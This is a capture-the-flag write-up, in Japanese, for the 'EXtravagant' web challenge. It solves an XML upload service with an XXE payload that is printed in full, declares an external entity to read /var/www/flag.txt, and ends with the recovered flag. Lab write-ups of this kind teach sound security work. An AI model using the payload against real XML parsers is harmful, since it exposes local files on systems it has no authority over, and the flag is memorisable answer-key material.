Skip to content

Latest commit

 

History

History
 
 

EXtravagant

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

EXtravagant:Web:50pts

I've been working on a XML parsing service. It's not finished but there should be enough for you to try out.
The flag is in /var/www

Connect with:

Solution

URLにアクセスすると謎のサイトのようだ。
EXtravagant XML
Home
フラグは/var/wwwにあり、XMLをパースするサービスのようである。
TrialでXMLファイルをアップロードし、Viewでファイル名を指定して確認できるらしい。
XXEを狙う。
/var/wwwにフラグがあるようなので以下に示すxxe.xmlで/var/www/flag.txtを読み取る。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///var/www/flag.txt" >]><foo>&xxe;</foo>

アップロードし、ファイルを確認するとflagが得られた。
flag
flag.png

flag{639b72f2dd0017f454c44c3863c4e195}